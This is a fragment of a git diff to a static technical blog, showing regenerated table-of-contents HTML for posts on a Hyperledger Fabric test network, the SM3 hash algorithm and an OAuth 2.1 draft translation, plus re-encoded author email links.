href="#%E5%AE%A1%E6%89%B9%E9%93%BE%E7%A0%81%E5%AE%9A%E4%B9%89"><span class="toc-number">4.4.</span> <span class="toc-text">审批链码定义</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%8F%90%E4%BA%A4%E9%93%BE%E7%A0%81%E5%AE%9A%E4%B9%89"><span class="toc-number">4.5.</span> <span class="toc-text">提交链码定义</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%B0%83%E7%94%A8%E9%93%BE%E7%A0%81"><span class="toc-number">4.6.</span> <span class="toc-text">调用链码</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E9%97%AE%E9%A2%98%E8%A7%A3%E5%86%B3"><span class="toc-number">5.</span> <span class="toc-text">问题解决</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#curl-connection-refused"><span class="toc-number">5.1.</span> <span class="toc-text">curl - connection refused</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#docker-permission-denied"><span class="toc-number">5.2.</span> <span class="toc-text">docker - permission denied</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9F%A5%E6%89%BE%E6%8C%87%E5%AE%9A%E7%9B%AE%E5%BD%95%E4%B8%AD%E5%8C%85%E5%90%AB%E6%8C%87%E5%AE%9A%E5%AD%97%E7%AC%A6%E4%B8%B2%E7%9A%84%E6%96%87%E4%BB%B6"><span class="toc-number">5.3.</span> <span class="toc-text">查找指定目录中包含指定字符串的文件</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%80%BB%E7%BB%93"><span class="toc-number">6.</span> <span class="toc-text">总结</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-number">7.</span> <span class="toc-text">参阅</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div 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+</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2020/09/05/Blockchain/Frabic/Fabric-%E6%B5%8B%E8%AF%95%E7%BD%91%E7%BB%9C/">https://jckling.github.io/2020/09/05/Blockchain/Frabic/Fabric-测试网络/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" target="_blank">Jckling's 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CA 网络搭建</div></div></a></div><div><a href="/2020/08/23/Blockchain/Frabic/Frabic-CA-%E9%83%A8%E7%BD%B2%E6%B5%81%E7%A8%8B/" title="Frabic CA 部署流程"><img class="cover" src="https://i.loli.net/2021/06/14/uYIL1tjaQinr4My.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2020-08-23</div><div class="title">Frabic CA 部署流程</div></div></a></div></div></div><hr class="custom-hr"/><div id="post-comment"><div class="comment-head"><div class="comment-headline"><i class="fas fa-comments fa-fw"></i><span> 评论</span></div></div><div class="comment-wrap"><div><div id="waline-wrap"></div></div></div></div></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar.jpg" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar_404.png'" alt="avatar"/></div><div class="author-info__name">Jckling</div><div class="author-info__description"></div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">124</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/jckling"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">欢迎访问本站 🥳 <br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%89%8D%E8%A8%80"><span class="toc-number">1.</span> <span class="toc-text">前言</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83"><span class="toc-number">2.</span> <span class="toc-text">实验环境</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E9%83%A8%E7%BD%B2%E6%B5%8B%E8%AF%95%E7%BD%91%E7%BB%9C"><span class="toc-number">3.</span> <span class="toc-text">部署测试网络</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%BB%BA%E7%AB%8B%E6%B5%8B%E8%AF%95%E7%BD%91%E7%BB%9C"><span class="toc-number">3.1.</span> <span class="toc-text">建立测试网络</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%88%9B%E5%BB%BA%E9%80%9A%E9%81%93"><span class="toc-number">3.2.</span> <span class="toc-text">创建通道</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%80%9A%E9%81%93%E4%B8%8A%E5%90%AF%E5%8A%A8%E9%93%BE%E7%A0%81"><span class="toc-number">3.3.</span> <span class="toc-text">通道上启动链码</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%B8%8E%E7%BD%91%E7%BB%9C%E4%BA%A4%E4%BA%92"><span class="toc-number">3.4.</span> <span class="toc-text">与网络交互</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#Org1"><span class="toc-number">3.4.1.</span> <span class="toc-text">Org1</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Ogr2"><span class="toc-number">3.4.2.</span> <span class="toc-text">Ogr2</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%81%9C%E6%AD%A2%E7%BD%91%E7%BB%9C"><span class="toc-number">3.5.</span> <span class="toc-text">停止网络</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E9%83%A8%E7%BD%B2%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6"><span class="toc-number">4.</span> <span class="toc-text">部署智能合约</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%90%AD%E5%BB%BA%E6%B5%8B%E8%AF%95%E7%BD%91%E7%BB%9C"><span class="toc-number">4.1.</span> <span class="toc-text">搭建测试网络</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%89%93%E5%8C%85%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6"><span class="toc-number">4.2.</span> <span class="toc-text">打包智能合约</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AE%89%E8%A3%85%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6"><span class="toc-number">4.3.</span> <span class="toc-text">安装智能合约</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#Org1-1"><span class="toc-number">4.3.1.</span> <span class="toc-text">Org1</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Org2"><span class="toc-number">4.3.2.</span> <span class="toc-text">Org2</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AE%A1%E6%89%B9%E9%93%BE%E7%A0%81%E5%AE%9A%E4%B9%89"><span class="toc-number">4.4.</span> <span class="toc-text">审批链码定义</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%8F%90%E4%BA%A4%E9%93%BE%E7%A0%81%E5%AE%9A%E4%B9%89"><span class="toc-number">4.5.</span> <span class="toc-text">提交链码定义</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%B0%83%E7%94%A8%E9%93%BE%E7%A0%81"><span class="toc-number">4.6.</span> <span class="toc-text">调用链码</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E9%97%AE%E9%A2%98%E8%A7%A3%E5%86%B3"><span class="toc-number">5.</span> <span class="toc-text">问题解决</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#curl-connection-refused"><span class="toc-number">5.1.</span> <span class="toc-text">curl - connection refused</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#docker-permission-denied"><span class="toc-number">5.2.</span> <span class="toc-text">docker - permission denied</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9F%A5%E6%89%BE%E6%8C%87%E5%AE%9A%E7%9B%AE%E5%BD%95%E4%B8%AD%E5%8C%85%E5%90%AB%E6%8C%87%E5%AE%9A%E5%AD%97%E7%AC%A6%E4%B8%B2%E7%9A%84%E6%96%87%E4%BB%B6"><span class="toc-number">5.3.</span> <span class="toc-text">查找指定目录中包含指定字符串的文件</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%80%BB%E7%BB%93"><span class="toc-number">6.</span> <span class="toc-text">总结</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-number">7.</span> <span class="toc-text">参阅</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div 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diff --git "a/2020/09/16/Notes/GB/SM3-\345\257\206\347\240\201\346\235\202\345\207\221\347\256\227\346\263\225\345\216\237\347\220\206/index.html" "b/2020/09/16/Notes/GB/SM3-\345\257\206\347\240\201\346\235\202\345\207\221\347\256\227\346\263\225\345\216\237\347\220\206/index.html"
index a5f79fc40..843ef9b43 100644
--- "a/2020/09/16/Notes/GB/SM3-\345\257\206\347\240\201\346\235\202\345\207\221\347\256\227\346\263\225\345\216\237\347\220\206/index.html"
+++ "b/2020/09/16/Notes/GB/SM3-\345\257\206\347\240\201\346\235\202\345\207\221\347\256\227\346\263\225\345\216\237\347\220\206/index.html"
@@ -247,7 +247,7 @@ <h3 id="压缩函数"><a href="#压缩函数" class="headerlink" title="压缩
 <h2 id="生成杂凑值"><a href="#生成杂凑值" class="headerlink" title="生成杂凑值"></a>生成杂凑值</h2><p>$$ ABCDEFGH \leftarrow V^{(n)} $$</p>
 <p>输出 256 bit 杂凑值 <code>y = ABCDEFGH</code></p>
 <h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>SM3 算法流程简洁明了，可以直接按步骤实现。已有支持国密SM2&#x2F;SM3&#x2F;SM4&#x2F;SM9&#x2F;ZUC&#x2F;SSL的密码工具箱 <a target="_blank" rel="noopener" href="https://github.com/guanzhi/GmSSL/">The GmSSL Project</a> ，提供不同语言的 API 接口；学习 Golang 的过程中找到开源实现 <a target="_blank" rel="noopener" href="https://github.com/tjfoc/gmsm">基于Go语言的国密SM2&#x2F;SM3&#x2F;SM4加密算法库</a> ，研读了一段时间，现在才回头梳理总结（老懒熊了xd</p>
-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2020/09/16/Notes/GB/SM3-%E5%AF%86%E7%A0%81%E6%9D%82%E5%87%91%E7%AE%97%E6%B3%95%E5%8E%9F%E7%90%86/">https://jckling.github.io/2020/09/16/Notes/GB/SM3-密码杂凑算法原理/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" 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<br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#SM3-%E5%AF%86%E7%A0%81%E6%9D%82%E5%87%91%E7%AE%97%E6%B3%95"><span class="toc-number">1.</span> <span class="toc-text">SM3 密码杂凑算法</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#SM3-%E7%AE%97%E6%B3%95%E6%AD%A5%E9%AA%A4"><span class="toc-number">2.</span> <span class="toc-text">SM3 算法步骤</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%B8%B8%E9%87%8F%E4%B8%8E%E5%87%BD%E6%95%B0"><span class="toc-number">2.1.</span> <span class="toc-text">常量与函数</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%AC%A6%E5%8F%B7%E7%BA%A6%E5%AE%9A"><span class="toc-number">2.1.1.</span> <span class="toc-text">符号约定</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%9D%E5%A7%8B%E5%80%BC-IV"><span class="toc-number">2.1.2.</span> <span class="toc-text">初始值 IV</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B8%B8%E9%87%8F"><span class="toc-number">2.1.3.</span> <span class="toc-text">常量</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B8%83%E5%B0%94%E5%87%BD%E6%95%B0"><span class="toc-number">2.1.4.</span> <span class="toc-text">布尔函数</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BD%AE%E6%8D%A2%E5%87%BD%E6%95%B0"><span class="toc-number">2.1.5.</span> <span class="toc-text">置换函数</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%B6%88%E6%81%AF%E5%A1%AB%E5%85%85"><span class="toc-number">2.2.</span> <span class="toc-text">消息填充</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%B6%88%E6%81%AF%E6%89%A9%E5%B1%95"><span class="toc-number">2.3.</span> <span class="toc-text">消息扩展</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%BF%AD%E4%BB%A3%E5%8E%8B%E7%BC%A9"><span class="toc-number">2.4.</span> <span class="toc-text">迭代压缩</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%BF%AD%E4%BB%A3%E8%BF%87%E7%A8%8B"><span class="toc-number">2.4.1.</span> <span class="toc-text">迭代过程</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8E%8B%E7%BC%A9%E5%87%BD%E6%95%B0"><span class="toc-number">2.4.2.</span> <span class="toc-text">压缩函数</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%94%9F%E6%88%90%E6%9D%82%E5%87%91%E5%80%BC"><span class="toc-number">2.5.</span> <span class="toc-text">生成杂凑值</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%80%BB%E7%BB%93"><span class="toc-number">3.</span> <span class="toc-text">总结</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img src="https://www.nvidia.cn/content/dam/en-zz/Solutions/about-nvidia/logo-and-brand/02-nvidia-logo-color-blk-500x200-4c25-p@2x.png" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'" alt="NVIDIA Omniverse Audio 系列工具使用"/></a><div class="content"><a class="title" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用">NVIDIA Omniverse Audio 系列工具使用</a><time datetime="2024-02-24T04:25:45.000Z" title="发表于 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+</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2020/09/16/Notes/GB/SM3-%E5%AF%86%E7%A0%81%E6%9D%82%E5%87%91%E7%AE%97%E6%B3%95%E5%8E%9F%E7%90%86/">https://jckling.github.io/2020/09/16/Notes/GB/SM3-密码杂凑算法原理/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" 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<br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#SM3-%E5%AF%86%E7%A0%81%E6%9D%82%E5%87%91%E7%AE%97%E6%B3%95"><span class="toc-number">1.</span> <span class="toc-text">SM3 密码杂凑算法</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#SM3-%E7%AE%97%E6%B3%95%E6%AD%A5%E9%AA%A4"><span class="toc-number">2.</span> <span class="toc-text">SM3 算法步骤</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%B8%B8%E9%87%8F%E4%B8%8E%E5%87%BD%E6%95%B0"><span class="toc-number">2.1.</span> <span class="toc-text">常量与函数</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%AC%A6%E5%8F%B7%E7%BA%A6%E5%AE%9A"><span class="toc-number">2.1.1.</span> <span class="toc-text">符号约定</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%9D%E5%A7%8B%E5%80%BC-IV"><span class="toc-number">2.1.2.</span> <span class="toc-text">初始值 IV</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B8%B8%E9%87%8F"><span class="toc-number">2.1.3.</span> <span class="toc-text">常量</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B8%83%E5%B0%94%E5%87%BD%E6%95%B0"><span class="toc-number">2.1.4.</span> <span class="toc-text">布尔函数</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BD%AE%E6%8D%A2%E5%87%BD%E6%95%B0"><span class="toc-number">2.1.5.</span> <span class="toc-text">置换函数</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%B6%88%E6%81%AF%E5%A1%AB%E5%85%85"><span class="toc-number">2.2.</span> <span class="toc-text">消息填充</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%B6%88%E6%81%AF%E6%89%A9%E5%B1%95"><span class="toc-number">2.3.</span> <span class="toc-text">消息扩展</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%BF%AD%E4%BB%A3%E5%8E%8B%E7%BC%A9"><span class="toc-number">2.4.</span> <span class="toc-text">迭代压缩</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%BF%AD%E4%BB%A3%E8%BF%87%E7%A8%8B"><span class="toc-number">2.4.1.</span> <span class="toc-text">迭代过程</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8E%8B%E7%BC%A9%E5%87%BD%E6%95%B0"><span class="toc-number">2.4.2.</span> <span class="toc-text">压缩函数</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%94%9F%E6%88%90%E6%9D%82%E5%87%91%E5%80%BC"><span class="toc-number">2.5.</span> <span class="toc-text">生成杂凑值</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%80%BB%E7%BB%93"><span class="toc-number">3.</span> <span class="toc-text">总结</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img src="https://www.nvidia.cn/content/dam/en-zz/Solutions/about-nvidia/logo-and-brand/02-nvidia-logo-color-blk-500x200-4c25-p@2x.png" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'" alt="NVIDIA Omniverse Audio 系列工具使用"/></a><div class="content"><a class="title" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用">NVIDIA Omniverse Audio 系列工具使用</a><time datetime="2024-02-24T04:25:45.000Z" title="发表于 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@@ -1032,11 +1032,11 @@ <h2 id="附录-C-扩展"><a href="#附录-C-扩展" class="headerlink" title="
 <h2 id="附录-D-致谢"><a href="#附录-D-致谢" class="headerlink" title="附录 D. 致谢"></a>附录 D. 致谢</h2><p>   TBD</p>
 <p>Authors’ Addresses</p>
 <p>   Dick Hardt<br>   SignIn.Org</p>
-<p>   Email: <a href="mailto:&#100;&#105;&#99;&#107;&#x2e;&#x68;&#97;&#x72;&#x64;&#x74;&#x40;&#103;&#x6d;&#x61;&#105;&#x6c;&#x2e;&#x63;&#x6f;&#109;">&#100;&#105;&#99;&#107;&#x2e;&#x68;&#97;&#x72;&#x64;&#x74;&#x40;&#103;&#x6d;&#x61;&#105;&#x6c;&#x2e;&#x63;&#x6f;&#109;</a></p>
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 <p>   Aaron Parecki<br>   Okta</p>
-<p>   Email: <a href="mailto:&#97;&#97;&#114;&#x6f;&#110;&#64;&#x70;&#x61;&#114;&#x65;&#x63;&#x6b;&#x69;&#46;&#99;&#x6f;&#x6d;">&#97;&#97;&#114;&#x6f;&#110;&#64;&#x70;&#x61;&#114;&#x65;&#x63;&#x6b;&#x69;&#46;&#99;&#x6f;&#x6d;</a><br>   URI:   <a target="_blank" rel="noopener" href="https://aaronparecki.com/">https://aaronparecki.com</a></p>
+<p>   Email: <a href="mailto:&#x61;&#x61;&#x72;&#111;&#110;&#x40;&#x70;&#x61;&#x72;&#101;&#x63;&#107;&#105;&#x2e;&#x63;&#x6f;&#x6d;">&#x61;&#x61;&#x72;&#111;&#110;&#x40;&#x70;&#x61;&#x72;&#101;&#x63;&#107;&#105;&#x2e;&#x63;&#x6f;&#x6d;</a><br>   URI:   <a target="_blank" rel="noopener" href="https://aaronparecki.com/">https://aaronparecki.com</a></p>
 <p>   Torsten Lodderstedt<br>   yes.com</p>
-<p>   Email: <a href="mailto:&#x74;&#x6f;&#x72;&#115;&#x74;&#101;&#x6e;&#64;&#x6c;&#x6f;&#x64;&#x64;&#101;&#114;&#x73;&#116;&#101;&#x64;&#x74;&#46;&#110;&#x65;&#x74;">&#x74;&#x6f;&#x72;&#115;&#x74;&#101;&#x6e;&#64;&#x6c;&#x6f;&#x64;&#x64;&#101;&#114;&#x73;&#116;&#101;&#x64;&#x74;&#46;&#110;&#x65;&#x74;</a></p>
+<p>   Email: <a href="mailto:&#116;&#x6f;&#x72;&#115;&#116;&#101;&#110;&#x40;&#x6c;&#x6f;&#100;&#x64;&#x65;&#x72;&#x73;&#116;&#x65;&#100;&#x74;&#x2e;&#110;&#101;&#116;">&#116;&#x6f;&#x72;&#115;&#116;&#101;&#110;&#x40;&#x6c;&#x6f;&#100;&#x64;&#x65;&#x72;&#x73;&#116;&#x65;&#100;&#x74;&#x2e;&#110;&#101;&#116;</a></p>
 </article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2020/11/06/Notes/draft-ietf-oauth-v2-1-00/">https://jckling.github.io/2020/11/06/Notes/draft-ietf-oauth-v2-1-00/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" target="_blank">Jckling's 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class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#The-OAuth-2-1-Authorization-Framework"><span class="toc-text">The OAuth 2.1 Authorization Framework</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%91%98%E8%A6%81"><span class="toc-text">摘要</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%8D%89%E6%A1%88%E7%8A%B6%E6%80%81"><span class="toc-text">草案状态</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%89%88%E6%9D%83%E5%A3%B0%E6%98%8E"><span class="toc-text">版权声明</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#1-%E4%BB%8B%E7%BB%8D"><span class="toc-text">1.  介绍</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#1-1-%E8%A7%92%E8%89%B2"><span class="toc-text">1.1 角色</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#1-2-%E5%8D%8F%E8%AE%AE%E6%B5%81%E7%A8%8B"><span class="toc-text">1.2 协议流程</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#1-3-%E6%8E%88%E6%9D%83%E8%AE%B8%E5%8F%AF"><span class="toc-text">1.3 授权许可</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#1-3-1-%E6%8E%88%E6%9D%83%E7%A0%81"><span class="toc-text">1.3.1 授权码</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#1-3-2-%E5%AE%A2%E6%88%B7%E7%AB%AF%E5%87%AD%E6%8D%AE"><span class="toc-text">1.3.2 客户端凭据</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#1-4-%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C"><span class="toc-text">1.4 访问令牌</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#1-5-%E5%88%B7%E6%96%B0%E4%BB%A4%E7%89%8C"><span class="toc-text">1.5 刷新令牌</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#1-6-TLS-%E7%89%88%E6%9C%AC"><span class="toc-text">1.6 TLS 版本</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#1-7-HTTP-%E9%87%8D%E5%AE%9A%E5%90%91"><span class="toc-text">1.7 HTTP 重定向</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#1-8-%E4%BA%92%E6%93%8D%E4%BD%9C%E6%80%A7"><span class="toc-text">1.8 互操作性</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#1-9-%E7%AC%A6%E5%8F%B7%E7%BA%A6%E5%AE%9A"><span class="toc-text">1.9 符号约定</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#2-%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%B3%A8%E5%86%8C"><span class="toc-text">2. 客户端注册</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#2-1-%E5%AE%A2%E6%88%B7%E7%AB%AF%E7%B1%BB%E5%9E%8B"><span class="toc-text">2.1 客户端类型</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#2-2-%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%A0%87%E8%AF%86"><span class="toc-text">2.2 客户端标识</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#2-3-%E5%AE%A2%E6%88%B7%E7%AB%AF%E8%AE%A4%E8%AF%81"><span class="toc-text">2.3 客户端认证</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#2-3-1-%E5%AE%A2%E6%88%B7%E7%AB%AF%E5%AF%86%E7%A0%81"><span class="toc-text">2.3.1 客户端密码</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#2-3-2-%E5%85%B6%E4%BB%96%E8%AE%A4%E8%AF%81%E6%96%B9%E6%B3%95"><span class="toc-text">2.3.2 